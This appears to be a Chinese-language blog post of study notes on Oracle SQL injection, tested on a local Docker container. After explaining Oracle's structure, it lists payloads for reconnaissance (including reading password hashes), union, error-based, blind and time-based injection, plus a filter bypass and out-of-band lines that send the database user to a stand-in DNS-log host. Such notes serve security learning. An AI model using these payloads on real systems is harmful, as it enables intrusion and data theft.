又是sql注入,这次是oracle的
是在docker上面pull的oracle 11g的镜像
docker run -d -p 1521:1521 -e ORACLE_ALLOW_REMOTE=true wnameless/oracle-xe-11g-r2
oracle结构
tablespace
在oracle数据库中表空间是一个逻辑概念,一个数据库可以对应多个表空间,而一个表空间又可以对应多个数据文件:
在创建数据库时oracle默认创建5个表空间:
-
SYSTEM:用于存储系统表和管理配置等基本信息
-
SYSAUX:是SYSTEM表空间的辅助表空间
-
UNDOTBS:用于事务回退等
-
TEMP:作为缓存空间减少内存负担
-
USERS:就是存储我们定义的表和数据
新建表空间:
create tablespace EASTJUN datafile 'eastjun.dbf' size 50M autoextend on
schema
schema是特定用户拥有的所有对象的集合,在oracle数据库中schema名与user名相同。 例如访问scott用户下的emp表,schema名也为scott,select * from emp
这条sql语句的完整写法应为select * from scott.emp
。通过schema进行隔离,两个用户可以在同一个表空间中创建两个同名的表。
oracle系统表
-
dba_tables:系统里所有的表的信息,需要DBA权限才能查询
-
all_tables:当前用户有权限的表的信息
-
user_tables:当前用户名下的表的信息
-
DBA_ALL_TABLES:DBA用户所拥有的或有访问权限的对象和表
-
ALL_ALL_TABLES:某一用户拥有的或有访问权限的对象和表
-
USER_ALL_TABLES:某一用户所拥有的对象和表
user_tables
的范围最小,all_tables
看到的东西稍多一些,而 dba_tables
的信息最全:
-
dba_tables >= all_tables >= user_tables
-
dba_tab_columns >= all_tab_columns >= user_tab_columns
权限
角色
-
DBA:系统最高权限
-
RESOURCE:基本的增删改查
-
CONNECT:连接数据库的权限
用户
创建数据库时默认有sys、system等用户
-
sys:相当于 Linux 下的 root 用户。为 DBA 角色
-
system:与 sys 类似,但是相对于 sys 用户,无法修改一些关键的系统数据,这些数据维持着数据库的正常运行。为 DBA 角色。
-
public:public 代指所有用户(everyone),对其操作会应用到所有用户上(实际上是所有用户都有 public 用户拥有的权限,如果将 DBA 权限给了 public,那么也就意味着所有用户都有了 DBA 权限)
新建用户:
create user eastjun identified by eastjun default tablespace EASTJUN --默认表空间 temporary tablespace TEMP --临时表空间
新建的这个用户是没有登录权限的,对于普通用户,需要授权RESOURCE
、CONNECT
的角色给用户:
grant connect,resource to eastjun
信息搜集
版本信息
select banner from v$version where banner like '%Oracle%'--数据库版本 select banner from v$version where banner like '%TNS%'--操作系统版本 select banner from sys.v_$version select version from v$instance
用户信息
select user from dual select sys_context ('userenv', 'current_user') from dual select username from user_users select username from all_users select name from sys.user$ --priv
数据库文件位置
select name from v$datafile --priv select file_name,tablespace_name from dba_data_files --priv
查询密码hash值
select name,spare4 from sys.user$ --priv
查询主机IP
select utl_inaddr.get_host_name from dual select host_name from v$instance select utl_inaddr.get_host_address from dual--获取IP select utl_inaddr.get_host_name('127.0.0.1') from dual--获取主机名
当前用户权限
select * from session_privs
查询数据
查询表空间
select tablespace_name from user_tablespaces select name from v$tablespace --priv select tablespace_name from dba_data_files --priv select tablespace_name from sys.dba_tablespaces --priv
查询表名
select table_name from user_tables select distinct table_name from user_tab_columns select table_name,owner from dba_tables where tablespace_name='EASTJUN' --priv
查询字段名
select column_name,data_type from user_tab_columns where table_name='USERS'
查询数据
oracle数据库中没有limit,如果需要查询不同行的信息,需要使用rownum:
select * from users where rownum = 1
但是如果需要查询第二行的信息,使用rownum = 2
是查不到的,需要用这种写法:
select * from (select id,username,password,rownum no from users) where no = 2
oracle注入
联合查询
oracle数据库在使用union语句时也需要数据类型一致,所以通常测试联合查询注入时会先用null占位,然后逐个替换为合适的类型,然后还要注意后面需要加上dual
select * from users where 1=0 union select null,null,null from dual select * from users where 1=0 union select 1,'name','pass' from dual
报错注入
报错注入有下面这些函数可以用:
select ctxsys.drithsx.sn(1, user) from dual select ctxsys.ctx_report.token_type(user, 1) from dual select dbms_xdb_version.checkin(user) from dual select dbms_xdb_version.makeversioned(user) from dual select dbms_xdb_version.uncheckout(user) from dual select dbms_utility.sqlid_to_sqlhash(user) from dual select utl_inaddr.get_host_name(user) from dual --需要网络权限 select utl_inaddr.get_host_address(user) from dual --需要网络权限
盲注
同样以字符串截取和比较两个问题来学习oracle中的盲注 字符串截取函数:
select substr(user,1,1) from dual select reverse(lpad(user,1,1)) from dual select ltrim(user,'S') from dual
字符串比较:
ascii(user)>68 ascii('E')<>69 nullif(ascii('E'),69) is null ascii('E') between 69 and 69 ascii('E') in (69)
正则表达式
regexp_instr(user, '^S')=1 regexp_like(user,'^S') regexp_count(user,'^S')=1 user like 'S%'
报错盲注
报错盲注不同于报错注入,是利用语句是否报错构造true和false:
select case ascii(user) when 69 then 1 else ln(0) end case from dual select decode(ascii(user),69,1,1/0) from dual
然后可以利用整数溢出、数据类型转化、1/0
、√-1
、ln(-1)
等方式触发报错:
select ln(0) from dual select exp(999) from dual select 1/0 from dual select sqrt(-1) from dual select to_number('a') from dual
时间盲注
查询大量数据造成延时:
select count(*) from all_objects select count(owner) from (select distinct(owner) from all_tab_columns)
通过函数延时:
select dbms_pipe.receive_message('a',5) from dual
bypass小技巧
在oracle数据库中支持全角符号,也就是说当我写了这样一段sql语句,在oracle中依然能正常执行:
select 1+1,chr(69)||chr(65) from dual where 2>1 or 2!=1
这些全角符号可以在上面找到。不过引号、注释符、分号这些符号并不支持全角
OOB
使用DNSLOG外带数据,可以配合rawtohex()
函数进行一次hex编码
select utl_inaddr.get_host_address(rawtohex(user)||'.dnslog') from dual select dbms_ldap.init(rawtohex(user)||'.dnslog',80) from dual select httpuritype(rawtohex(user)||'.dnslog').getclob() from dual
Referer